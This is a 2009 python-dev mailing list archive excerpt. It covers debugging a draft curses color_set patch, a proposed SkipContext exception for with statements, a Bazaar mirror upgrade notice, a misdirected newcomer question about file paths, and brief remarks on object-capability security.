http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com > -- Jim Baker jbaker at zyasoft.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at integrityintegrators.net Tue Feb 24 23:18:10 2009 From: steve at integrityintegrators.net (Heracles) Date: Tue, 24 Feb 2009 14:18:10 -0800 (PST) Subject: [Python-Dev] Adding support to curses library Message-ID: <22191916.post@talk.nabble.com> Hello, I am working on a patch to add to the _cursesmodule.c file of the Python core libraries. I figured I would take on one of the implemented functions to try to get my feet wet contributing to the project. At any rate, I have the following function defined in the 2.7.a version updated from SVN this morning: ------------- Snippet --------------------------- // Insert new method color_set Steve Owens 2/24/2009 // The curses library color_set function has the following signature: // int color_set(short color_pair_number, void* opts); static PyObject * PyCurses_color_set(PyObject *self, PyObject *args) { short color_pair_number; void * opts; int erg; // These macros ought to be documented in the API docs // but they aren't yet. PyCursesInitialised PyCursesInitialisedColor // Per ncurses Man Page: // The routine color_set sets the current color of the given window to // the foreground/background combination described by the color_pair_number. // The parameter opts is reserved for future use, applications must supply a // null pointer. switch(PyTuple_Size(args)) { case 1: // Dont make them pass a useless null pointer. if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; break; case 2: // Allow them to pass the opts pointer so that when ncurses is later updated. // This method will still work. if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return NULL; break; default: PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments (color_pair_number[, opts]?)"); return NULL; } erg = color_set(color_pair_number, opts); // Debating on forcing null here. if (erg == ERR) return PyCursesCheckERR(erg, "color_set"); else PyInt_FromLong((long) 1L); } -------------End Snippet --------------------------- I also have the following added in (see last line of the snippet): ------------- Snippet --------------------------- static PyMethodDef PyCurses_methods[] = { {"baudrate", (PyCFunction)PyCurses_baudrate, METH_NOARGS}, {"beep", (PyCFunction)PyCurses_beep, METH_NOARGS}, {"can_change_color", (PyCFunction)PyCurses_can_change_color, METH_NOARGS}, {"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS}, {"color_content", (PyCFunction)PyCurses_Color_Content, METH_VARARGS}, {"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS}, {"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS}, -------------End Snippet --------------------------- The code compiles and installs fine, but when I run the following unit test, I get a segmentation fault: ------------- Snippet --------------------------- import unittest, curses from test import test_support def testCursesColorSet(stdscrn): curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); i = curses.color_set(1, NULL); stdscrn.addstr("RED/BLACK (%0)\n".format(i)) i = curses.color_set(2, NULL); stdscrn.print("WHITE/BLUE (%0)\n".format(i)) i = curses.color_set(0, NULL); stdscrn.print("Default (%0)\n".format(i)) def test_main(stdscrn): curses.savetty() if curses.has_color(): testCursesColorSet(stdscrn) else stdscr.addstr( "Test Aborted: Color not supported on this terminal.") if __name__ == '__main__': curses.wrapper(test_main) -------------End Snippet --------------------------- It turns out that by commenting out this line in the _cursesmodule.c code, allows the unit test to run obviously reporting the error as expected: ------------- Snippet --------------------------- //erg = color_set(color_pair_number, opts); // Debating on forcing null here. -------------End Snippet --------------------------- At any rate I am stuck. I am still trying to build just a plain C file which will test the color_set function outside of python, but that is another task. Any suggestions? -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22191916.html Sent from the Python - python-dev mailing list archive at Nabble.com. From lie.1296 at gmail.com Wed Feb 25 03:59:38 2009 From: lie.1296 at gmail.com (Lie Ryan) Date: Wed, 25 Feb 2009 02:59:38 +0000 (UTC) Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] References: Message-ID: On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote: > Steve, this isn't death by a 1,000 cuts. What's being put forward here > is not a specific implementation -- but rather a specific model of > security (the object capability model) -- which has been proven to be > foolproof. Proven? Isn't it impossible to prove something like this? "Nobody ever see an alien" is not a proof for "There is no alien". "Nobody have thought of a way to break the model" is not a proof for "The model is invincible"... From steve at holdenweb.com Wed Feb 25 04:10:55 2009 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Feb 2009 22:10:55 -0500 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: Lie Ryan wrote: > On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote: > >> Steve, this isn't death by a 1,000 cuts. What's being put forward here >> is not a specific implementation -- but rather a specific model of >> security (the object capability model) -- which has been proven to be >> foolproof. > > Proven? Isn't it impossible to prove something like this? "Nobody ever > see an alien" is not a proof for "There is no alien". "Nobody have > thought of a way to break the model" is not a proof for "The model is > invincible"... > Quite. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From nnorwitz at gmail.com Wed Feb 25 06:41:10 2009 From: nnorwitz at gmail.com (Neal Norwitz) Date: Tue, 24 Feb 2009 21:41:10 -0800 Subject: [Python-Dev] Adding support to curses library In-Reply-To: <22191916.post@talk.nabble.com> References: <22191916.post@talk.nabble.com> Message-ID: On Tue, Feb 24, 2009 at 2:18 PM, Heracles wrote: > > Hello, > > I am working on a patch to add to the _cursesmodule.c file of the Python > core libraries. ?I figured I would take on one of the implemented functions > to try to get my feet wet contributing to the project. ?At any rate, I have > the following function defined in the 2.7.a version updated from SVN this > morning: I'm glad you are interested in developing Python. I'm not sure if this is the best forum. OTOH, I'm not sure if comp.lang.python would be appropriate either. I'd suggest making a proper patch and submitting it to http://bugs.python.org > ------------- Snippet --------------------------- > // Insert new method color_set Steve Owens 2/24/2009 > // ? The curses library color_set function has the following signature: > // ? ? ? int color_set(short color_pair_number, void* opts); > static PyObject * > PyCurses_color_set(PyObject *self, PyObject *args) > { > ? short color_pair_number; > ? void * opts; > ? int erg; > > ? // These macros ought to be documented in the API docs > ? // but they aren't yet. > ? PyCursesInitialised > ? PyCursesInitialisedColor > > ? // Per ncurses Man Page: > ? // ? The routine color_set sets the current color of the given window to > ? // the foreground/background combination described by the > color_pair_number. > ? // The parameter opts is reserved for future use, applications must > supply a > ? // null pointer. > ? switch(PyTuple_Size(args)) > ? { > ? case 1: > ? ? ? ? ? // Dont make them pass a useless null pointer. > ? ? ? ? ? if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; > ? ? ? ? ? break; > ? case 2: > ? ? ? ? ? // Allow them to pass the opts pointer so that when ncurses is later > updated. > ? ? ? ? ? // This method will still work. > ? ? ? ? ? if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return > NULL; > ? ? ? ? ? break; > ? default: > ? ? ?PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments > (color_pair_number[, opts]?)"); > ? ? ? ? ?return NULL; > ? } > > ? erg = color_set(color_pair_number, opts); // Debating on forcing null > here. > > ? if (erg == ERR) > ? ? ? ? ?return PyCursesCheckERR(erg, "color_set"); > ? else > ? ? ?PyInt_FromLong((long) 1L); I did a cursory review of the patch and if this is the exact code, this is a problem. You are missing a return statement. The compiler should have issued a warning for this too. > } > -------------End ?Snippet --------------------------- > > I also have the following added in (see last line of the snippet): > > ------------- Snippet --------------------------- > static PyMethodDef PyCurses_methods[] = { > ?{"baudrate", ? ? ? ? ? ?(PyCFunction)PyCurses_baudrate, METH_NOARGS}, > ?{"beep", ? ? ? ? ? ? ? ?(PyCFunction)PyCurses_beep, METH_NOARGS}, > ?{"can_change_color", ? ?(PyCFunction)PyCurses_can_change_color, > METH_NOARGS}, > ?{"cbreak", ? ? ? ? ? ? ?(PyCFunction)PyCurses_cbreak, METH_VARARGS}, > ?{"color_content", ? ? ? (PyCFunction)PyCurses_Color_Content, > METH_VARARGS}, > ?{"color_pair", ? ? ? ? ?(PyCFunction)PyCurses_color_pair, METH_VARARGS}, > ?{"color_set", ? ? ? ? ? (PyCFunction)PyCurses_color_set, METH_VARARGS}, > -------------End ?Snippet --------------------------- > > The code compiles and installs fine, but when I run the following unit test, > I get a segmentation fault: > > ------------- Snippet --------------------------- > import unittest, curses > from test import test_support > > def testCursesColorSet(stdscrn): > ? curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) > ? curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); > ? i = curses.color_set(1, NULL); > ? stdscrn.addstr("RED/BLACK (%0)\n".format(i)) > ? i = curses.color_set(2, NULL); > ? stdscrn.print("WHITE/BLUE (%0)\n".format(i)) > ? i = curses.color_set(0, NULL); > ? stdscrn.print("Default (%0)\n".format(i)) > > > def test_main(stdscrn): > ? curses.savetty() > ? if curses.has_color(): > ? ? ?testCursesColorSet(stdscrn) > ? else > ? ? ?stdscr.addstr( "Test Aborted: Color not supported on this terminal.") > > > if __name__ == '__main__': > ? ?curses.wrapper(test_main) > -------------End ?Snippet --------------------------- > > It turns out that by commenting out this line in the _cursesmodule.c code, > allows the unit test to run > obviously reporting the error as expected: > > ------------- Snippet --------------------------- > //erg = color_set(color_pair_number, opts); // Debating on forcing null > here. > -------------End ?Snippet --------------------------- > > At any rate I am stuck. ?I am still trying to build just a plain C file > which will test the color_set function > outside of python, but that is another task. > > Any suggestions? Beyond what I said above, typically you need to go the next step. Fire up a debugger and determine exactly where and why it's crashing. Good luck! n From ulrich.berning at denviso.de Wed Feb 25 09:48:18 2009 From: ulrich.berning at denviso.de (Ulrich Berning) Date: Wed, 25 Feb 2009 09:48:18 +0100 Subject: [Python-Dev] Adding support to curses library In-Reply-To: <22191916.post@talk.nabble.com> References: <22191916.post@talk.nabble.com> Message-ID: <49A505D2.40004@denviso.de> Heracles wrote: >Hello, > >I am working on a patch to add to the _cursesmodule.c file of the Python >core libraries. I figured I would take on one of the implemented functions >to try to get my feet wet contributing to the project. At any rate, I have >the following function defined in the 2.7.a version updated from SVN this >morning: > >------------- Snippet --------------------------- >// Insert new method color_set Steve Owens 2/24/2009 >// The curses library color_set function has the following signature: >// int color_set(short color_pair_number, void* opts); >static PyObject * >PyCurses_color_set(PyObject *self, PyObject *args) >{ > short color_pair_number; > void * opts; > int erg; > > // These macros ought to be documented in the API docs > // but they aren't yet. > PyCursesInitialised > PyCursesInitialisedColor > > // Per ncurses Man Page: > // The routine color_set sets the current color of the given window to > // the foreground/background combination described by the >color_pair_number. > // The parameter opts is reserved for future use, applications must >supply a > // null pointer. > switch(PyTuple_Size(args)) > { > case 1: > // Dont make them pass a useless null pointer. > if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; > break; > case 2: > // Allow them to pass the opts pointer so that when ncurses is later >updated. > // This method will still work. > if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return >NULL; > break; > default: > PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments >(color_pair_number[, opts]?)"); > return NULL; > } > > erg = color_set(color_pair_number, opts); // Debating on forcing null >here. > > if (erg == ERR) > return PyCursesCheckERR(erg, "color_set"); > else > PyInt_FromLong((long) 1L); >} >-------------End Snippet --------------------------- > >I also have the following added in (see last line of the snippet): > >------------- Snippet --------------------------- >static PyMethodDef PyCurses_methods[] = { > {"baudrate", (PyCFunction)PyCurses_baudrate, METH_NOARGS}, > {"beep", (PyCFunction)PyCurses_beep, METH_NOARGS}, > {"can_change_color", (PyCFunction)PyCurses_can_change_color, >METH_NOARGS}, > {"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS}, > {"color_content", (PyCFunction)PyCurses_Color_Content, >METH_VARARGS}, > {"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS}, > {"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS}, >-------------End Snippet --------------------------- > >The code compiles and installs fine, but when I run the following unit test, >I get a segmentation fault: > >------------- Snippet --------------------------- >import unittest, curses >from test import test_support > >def testCursesColorSet(stdscrn): > curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) > curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); > i = curses.color_set(1, NULL); > stdscrn.addstr("RED/BLACK (%0)\n".format(i)) > i = curses.color_set(2, NULL); > stdscrn.print("WHITE/BLUE (%0)\n".format(i)) > i = curses.color_set(0, NULL); > stdscrn.print("Default (%0)\n".format(i)) > > >def test_main(stdscrn): > curses.savetty() > if curses.has_color(): > testCursesColorSet(stdscrn) > else > stdscr.addstr( "Test Aborted: Color not supported on this terminal.") > > >if __name__ == '__main__': > curses.wrapper(test_main) >-------------End Snippet --------------------------- > >It turns out that by commenting out this line in the _cursesmodule.c code, >allows the unit test to run >obviously reporting the error as expected: > >------------- Snippet --------------------------- >//erg = color_set(color_pair_number, opts); // Debating on forcing null >here. >-------------End Snippet --------------------------- > >At any rate I am stuck. I am still trying to build just a plain C file >which will test the color_set function >outside of python, but that is another task. > >Any suggestions? > > > > As long as Python is written in C, please don't use C++ comments, some C compilers don't like them. Ulli From ncoghlan at gmail.com Wed Feb 25 13:24:33 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Wed, 25 Feb 2009 22:24:33 +1000 Subject: [Python-Dev] Allow __enter__() methods to skip the with statement body? Message-ID: <49A53881.3070908@gmail.com> An interesting discrepancy [1] has been noted when comparing contextlib.nested (and contextlib.contextmanager) with the equivalent nested with statements. Specifically, the following examples behave differently if cmB().__enter__() raises an exception which cmA().__exit__() then handles (and suppresses): with cmA(): with cmB(): do_stuff() # This will resume here without executing "Do stuff" @contextlib.contextmanager def combined(): with cmA(): with cmB(): yield with combined(): do_stuff() # This will raise RuntimeError complaining that the underlying # generator didn't yield with contextlib.nested(cmA(), cmB()): do_stuff() # This will raise the same RuntimeError as the contextmanager # example (unsurprising, given the way nested() is implemented) The problem arises any time it is possible to skip over the yield statement in a contextlib.contextmanager based context manager without raising an exception that can be seen by the code calling __enter__(). I think the right way to fix this (as suggested by the original poster of the bug report) is to introduce a new flow control exception along the lines of GeneratorExit (e.g. SkipContext) and tweak the expansion of the with statement [2] to skip the body of the statement if __enter__() throws that specific exception: mgr = (EXPR) exit = mgr.__exit__ # Not calling it yet try: value = mgr.__enter__() except SkipContext: pass # This exception handler is the new part... else: exc = True try: VAR = value # Only if "as VAR" is present BLOCK except: # The exceptional case is handled here exc = False if not exit(*sys.exc_info()): raise # The exception is swallowed if exit() returns true finally: # The normal and non-local-goto cases are handled here if exc: exit(None, None, None) Naturally, contextlib.contextmanager would then be modified to raise SkipContext instead of RuntimeError if the generator doesn't yield. The latter two examples would then correctly resume execution at the first statement after the with block. I don't see any other way to comprehensively fix the problem - without it, there will always be some snippets of code which cannot correctly be converted into context managers, and those snippets won't always be obvious (e.g. the fact that combined() is potentially a broken context manager implementation would surprise most people - it certainly surprised me). Thoughts? Do people hate the idea? Are there any backwards compatibility problems that I'm missing? Should I write a PEP or just add the feature to the with statement in 2.7/3.1? Cheers, Nick. [1] http://bugs.python.org/issue5251 [2] http://www.python.org/dev/peps/pep-0343/ -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From barry at python.org Wed Feb 25 15:23:54 2009 From: barry at python.org (Barry Warsaw) Date: Wed, 25 Feb 2009 09:23:54 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> Message-ID: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 20, 2009, at 10:09 AM, Barry Warsaw wrote: > I've just upgraded the Bazaar mirrors on code.python.org to use bzr > 1.12. We now have the opportunity to upgrade the repository format > for better performance. Because of the bzr-svn requirement, we need > a "rich root" format. Upgrading to 1.9-rich-root could buy us some > significant performance improvements, but it will require all > clients to upgrade to at least bzr 1.9, which was released on > November 7, 2008. > > I would like to do this upgrade. If you are currently using the > Bazaar mirrors at code.python.org and upgrading your client to at > least bzr 1.9 would be a hardship, please contact me. If I don't > hear any objections by say Tuesday, I'll go ahead and do the repo > upgrades. This is now done. Please let me know if you have any problems with the mirrors. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaVUenEjvBPtnXfVAQLdZgP/XTSdEm7vos5hFugguEJ+T6hIuchgM8j8 YDCdC4IMH4J1SsSjOLNUOnlWA5miMpRJSriSeUvNhKgzJZBoNGo+wWpTRzItYtxR 6+iQAqgAGvvJMc2bIlgbnI9z/izyUw6PyxpE7FLLEnMOMWEbvFxBHWg1ndww804b iz2sfrWZQpo= =k3jC -----END PGP SIGNATURE----- From steve at integrityintegrators.net Wed Feb 25 15:24:51 2009 From: steve at integrityintegrators.net (Heracles) Date: Wed, 25 Feb 2009 06:24:51 -0800 (PST) Subject: [Python-Dev] Adding support to curses library In-Reply-To: <49A505D2.40004@denviso.de> References: <22191916.post@talk.nabble.com> <49A505D2.40004@denviso.de> Message-ID: <22203820.post@talk.nabble.com> Ulrich, Thanks for the input. That is helpful to know. H Ulrich Berning-2 wrote: > > Heracles wrote: > >>Hello, >> >>I am working on a patch to add to the _cursesmodule.c file of the Python >>core libraries. I figured I would take on one of the implemented functions >>to try to get my feet wet contributing to the project. At any rate, I have >>the following function defined in the 2.7.a version updated from SVN this >>morning: >> >>------------- Snippet --------------------------- >>// Insert new method color_set Steve Owens 2/24/2009 >>// The curses library color_set function has the following signature: >>// int color_set(short color_pair_number, void* opts); >>static PyObject * >>PyCurses_color_set(PyObject *self, PyObject *args) >>{ >> short color_pair_number; >> void * opts; >> int erg; >> >> // These macros ought to be documented in the API docs >> // but they aren't yet. >> PyCursesInitialised >> PyCursesInitialisedColor >> >> // Per ncurses Man Page: >> // The routine color_set sets the current color of the given window >> to >> // the foreground/background combination described by the >>color_pair_number. >> // The parameter opts is reserved for future use, applications must >>supply a >> // null pointer. >> switch(PyTuple_Size(args)) >> { >> case 1: >> // Dont make them pass a useless null pointer. >> if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; >> break; >> case 2: >> // Allow them to pass the opts pointer so that when ncurses is later >>updated. >> // This method will still work. >> if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return >>NULL; >> break; >> default: >> PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 >> arguments >>(color_pair_number[, opts]?)"); >> return NULL; >> } >> >> erg = color_set(color_pair_number, opts); // Debating on forcing null >>here. >> >> if (erg == ERR) >> return PyCursesCheckERR(erg, "color_set"); >> else >> PyInt_FromLong((long) 1L); >>} >>-------------End Snippet --------------------------- >> >>I also have the following added in (see last line of the snippet): >> >>------------- Snippet --------------------------- >>static PyMethodDef PyCurses_methods[] = { >> {"baudrate", (PyCFunction)PyCurses_baudrate, METH_NOARGS}, >> {"beep", (PyCFunction)PyCurses_beep, METH_NOARGS}, >> {"can_change_color", (PyCFunction)PyCurses_can_change_color, >>METH_NOARGS}, >> {"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS}, >> {"color_content", (PyCFunction)PyCurses_Color_Content, >>METH_VARARGS}, >> {"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS}, >> {"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS}, >>-------------End Snippet --------------------------- >> >>The code compiles and installs fine, but when I run the following unit test, >>I get a segmentation fault: >> >>------------- Snippet --------------------------- >>import unittest, curses >>from test import test_support >> >>def testCursesColorSet(stdscrn): >> curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) >> curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); >> i = curses.color_set(1, NULL); >> stdscrn.addstr("RED/BLACK (%0)\n".format(i)) >> i = curses.color_set(2, NULL); >> stdscrn.print("WHITE/BLUE (%0)\n".format(i)) >> i = curses.color_set(0, NULL); >> stdscrn.print("Default (%0)\n".format(i)) >> >> >>def test_main(stdscrn): >> curses.savetty() >> if curses.has_color(): >> testCursesColorSet(stdscrn) >> else >> stdscr.addstr( "Test Aborted: Color not supported on this >> terminal.") >> >> >>if __name__ == '__main__': >> curses.wrapper(test_main) >>-------------End Snippet --------------------------- >> >>It turns out that by commenting out this line in the _cursesmodule.c code, >>allows the unit test to run >>obviously reporting the error as expected: >> >>------------- Snippet --------------------------- >>//erg = color_set(color_pair_number, opts); // Debating on forcing null >>here. >>-------------End Snippet --------------------------- >> >>At any rate I am stuck. I am still trying to build just a plain C file >>which will test the color_set function >>outside of python, but that is another task. >> >>Any suggestions? >> >> >> >> > As long as Python is written in C, please don't use C++ comments, some C > compilers don't like them. > > Ulli > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22203820.html Sent from the Python - python-dev mailing list archive at Nabble.com. From steve at integrityintegrators.net Wed Feb 25 15:30:06 2009 From: steve at integrityintegrators.net (Heracles) Date: Wed, 25 Feb 2009 06:30:06 -0800 (PST) Subject: [Python-Dev] Adding support to curses library In-Reply-To: References: <22191916.post@talk.nabble.com> Message-ID: <22203899.post@talk.nabble.com> Thank you for your reply, and no, that is not the exact code. I must have wiped out the return statement when I copied it in. The return statement is in the code. Also the code has been modified so that the call to color_set reads as follows: erg = color_set(color_pair_number, NULL); // Debating on forcing null Never the less, as I said in my earlier post, the above line is the exact line where the error occurs. This is provable simply because when the code is compiled with that line commented out, it doesn't fail, and when the line is commented back in it does fail. I am not sure exactly how a debugger will help in this case since the color_set call goes directly to the ncurses library. If in fact that the issue is the ncurses library then it seems that there is no feasible solution until that library is fixed, in which case this patch is sort of useless. Bugzilla from nnorwitz at gmail.com wrote: > > On Tue, Feb 24, 2009 at 2:18 PM, Heracles > wrote: >> >> Hello, >> >> I am working on a patch to add to the _cursesmodule.c file of the Python >> core libraries. ?I figured I would take on one of the implemented >> functions >> to try to get my feet wet contributing to the project. ?At any rate, I >> have >> the following function defined in the 2.7.a version updated from SVN this >> morning: > > I'm glad you are interested in developing Python. I'm not sure if > this is the best forum. OTOH, I'm not sure if comp.lang.python would > be appropriate either. > > I'd suggest making a proper patch and submitting it to > http://bugs.python.org > >> ------------- Snippet --------------------------- >> // Insert new method color_set Steve Owens 2/24/2009 >> // ? The curses library color_set function has the following signature: >> // ? ? ? int color_set(short color_pair_number, void* opts); >> static PyObject * >> PyCurses_color_set(PyObject *self, PyObject *args) >> { >> ? short color_pair_number; >> ? void * opts; >> ? int erg; >> >> ? // These macros ought to be documented in the API docs >> ? // but they aren't yet. >> ? PyCursesInitialised >> ? PyCursesInitialisedColor >> >> ? // Per ncurses Man Page: >> ? // ? The routine color_set sets the current color of the given window >> to >> ? // the foreground/background combination described by the >> color_pair_number. >> ? // The parameter opts is reserved for future use, applications must >> supply a >> ? // null pointer. >> ? switch(PyTuple_Size(args)) >> ? { >> ? case 1: >> ? ? ? ? ? // Dont make them pass a useless null pointer. >> ? ? ? ? ? if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return >> NULL; >> ? ? ? ? ? break; >> ? case 2: >> ? ? ? ? ? // Allow them to pass the opts pointer so that when ncurses is >> later >> updated. >> ? ? ? ? ? // This method will still work. >> ? ? ? ? ? if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) >> return >> NULL; >> ? ? ? ? ? break; >> ? default: >> ? ? ?PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 >> arguments >> (color_pair_number[, opts]?)"); >> ? ? ? ? ?return NULL; >> ? } >> >> ? erg = color_set(color_pair_number, opts); // Debating on forcing null >> here. >> >> ? if (erg == ERR) >> ? ? ? ? ?return PyCursesCheckERR(erg, "color_set"); >> ? else >> ? ? ?PyInt_FromLong((long) 1L); > > I did a cursory review of the patch and if this is the exact code, > this is a problem. You are missing a return statement. The compiler > should have issued a warning for this too. > >> } >> -------------End ?Snippet --------------------------- >> >> I also have the following added in (see last line of the snippet): >> >> ------------- Snippet --------------------------- >> static PyMethodDef PyCurses_methods[] = { >> ?{"baudrate", ? ? ? ? ? ?(PyCFunction)PyCurses_baudrate, METH_NOARGS}, >> ?{"beep", ? ? ? ? ? ? ? ?(PyCFunction)PyCurses_beep, METH_NOARGS}, >> ?{"can_change_color", ? ?(PyCFunction)PyCurses_can_change_color, >> METH_NOARGS}, >> ?{"cbreak", ? ? ? ? ? ? ?(PyCFunction)PyCurses_cbreak, METH_VARARGS}, >> ?{"color_content", ? ? ? (PyCFunction)PyCurses_Color_Content, >> METH_VARARGS}, >> ?{"color_pair", ? ? ? ? ?(PyCFunction)PyCurses_color_pair, METH_VARARGS}, >> ?{"color_set", ? ? ? ? ? (PyCFunction)PyCurses_color_set, METH_VARARGS}, >> -------------End ?Snippet --------------------------- >> >> The code compiles and installs fine, but when I run the following unit >> test, >> I get a segmentation fault: >> >> ------------- Snippet --------------------------- >> import unittest, curses >> from test import test_support >> >> def testCursesColorSet(stdscrn): >> ? curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) >> ? curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); >> ? i = curses.color_set(1, NULL); >> ? stdscrn.addstr("RED/BLACK (%0)\n".format(i)) >> ? i = curses.color_set(2, NULL); >> ? stdscrn.print("WHITE/BLUE (%0)\n".format(i)) >> ? i = curses.color_set(0, NULL); >> ? stdscrn.print("Default (%0)\n".format(i)) >> >> >> def test_main(stdscrn): >> ? curses.savetty() >> ? if curses.has_color(): >> ? ? ?testCursesColorSet(stdscrn) >> ? else >> ? ? ?stdscr.addstr( "Test Aborted: Color not supported on this >> terminal.") >> >> >> if __name__ == '__main__': >> ? ?curses.wrapper(test_main) >> -------------End ?Snippet --------------------------- >> >> It turns out that by commenting out this line in the _cursesmodule.c >> code, >> allows the unit test to run >> obviously reporting the error as expected: >> >> ------------- Snippet --------------------------- >> //erg = color_set(color_pair_number, opts); // Debating on forcing null >> here. >> -------------End ?Snippet --------------------------- >> >> At any rate I am stuck. ?I am still trying to build just a plain C file >> which will test the color_set function >> outside of python, but that is another task. >> >> Any suggestions? > > Beyond what I said above, typically you need to go the next step. > Fire up a debugger and determine exactly where and why it's crashing. > > Good luck! > > n > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22203899.html Sent from the Python - python-dev mailing list archive at Nabble.com. From music24by7 at gmail.com Wed Feb 25 16:12:43 2009 From: music24by7 at gmail.com (Sudhir Kakumanu) Date: Wed, 25 Feb 2009 20:42:43 +0530 Subject: [Python-Dev] File Path retrieving problem Message-ID: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com> Hi all, I am new to Python, i have installed python 2.5.4 and it is my requirement. I need to retrieve the path of filename in python. I have found some API's to get this: from os.path import realpath print realpath("NEWS.txt") # here NEWS.txt exists and it shows the path of the file as C:\Python25\WorkSpace\NEWS.txt print realpath("abc.txt") # here abc.txt does not exist but still it shows C:\Python25\WorkSpace\abc.txt can anybody tell the reason why???? Now took some safety measures: found = lexists(realpath(filename)) if found == 0: print "Not Found" else: print realpath(filename) i have given the filename as "NEWS.txt" and "abc.txt" but i am always getting the output as "Not Found" Can anyone please tell me where am i doing wrong???? also any suggestions to retrieve the filepath from a given filename is highly appreciated. Thanks in advance. Regards, Sudhir -------------- next part -------------- An HTML attachment was scrubbed... URL: From p.f.moore at gmail.com Wed Feb 25 16:22:49 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Wed, 25 Feb 2009 15:22:49 +0000 Subject: [Python-Dev] File Path retrieving problem In-Reply-To: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com> References: <52c4d4ea0902250712w7fd57dfdm27f243ba2d63dab9@mail.gmail.com> Message-ID: <79990c6b0902250722k5da4f324y89f635aa8a7072af@mail.gmail.com> 2009/2/25 Sudhir Kakumanu : > Hi all, > I am new to Python, i have installed python 2.5.4 and it is my requirement. > I need to retrieve the path of filename in python. This list is for the developers of Python to discuss future changes to the language and its implementation. It is not the correct list for questions about using Python for developing applications. You will probably get the assistance you require from the newsgroup comp.lang.python (also available via the mailing list python-list at python.org). Paul. From amk at amk.ca Wed Feb 25 16:34:17 2009 From: amk at amk.ca (A.M. Kuchling) Date: Wed, 25 Feb 2009 10:34:17 -0500 Subject: [Python-Dev] Adding support to curses library In-Reply-To: <22203899.post@talk.nabble.com> References: <22191916.post@talk.nabble.com> <22203899.post@talk.nabble.com> Message-ID: <20090225153417.GA9321@amk-desktop.matrixgroup.net> On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote: > is commented back in it does fail. I am not sure exactly how a debugger will > help in this case since the color_set call goes directly to the ncurses > library. If in fact that the issue is the ncurses library then it seems > that there is no feasible solution until that library is fixed, in which > case this patch is sort of useless. ... > erg = color_set(color_pair_number, NULL); // Debating on forcing null What is color_pair_number in the C code? If it's some incorrect value (-1? 255?), maybe ncurses is indexing off an array and crashing. This is why a debugger might help; you could run the test program until the crash and then print out the values of the relevant variables. e.g. is stdscr set to a non-NULL value? There might be a debugging version of ncurses that will let you look at the variables inside the ncurses code, which may make the problem clear. --amk From solipsis at pitrou.net Wed Feb 25 16:35:07 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Wed, 25 Feb 2009 15:35:07 +0000 (UTC) Subject: [Python-Dev] Shared ABCs for the IO implementation Message-ID: Hello, I would like to know if both IO implementations (the C one and the Python one) should share their ABCs (IOBase, RawIOBase, etc.). It looks preferable to me but since I'm not very familiar with 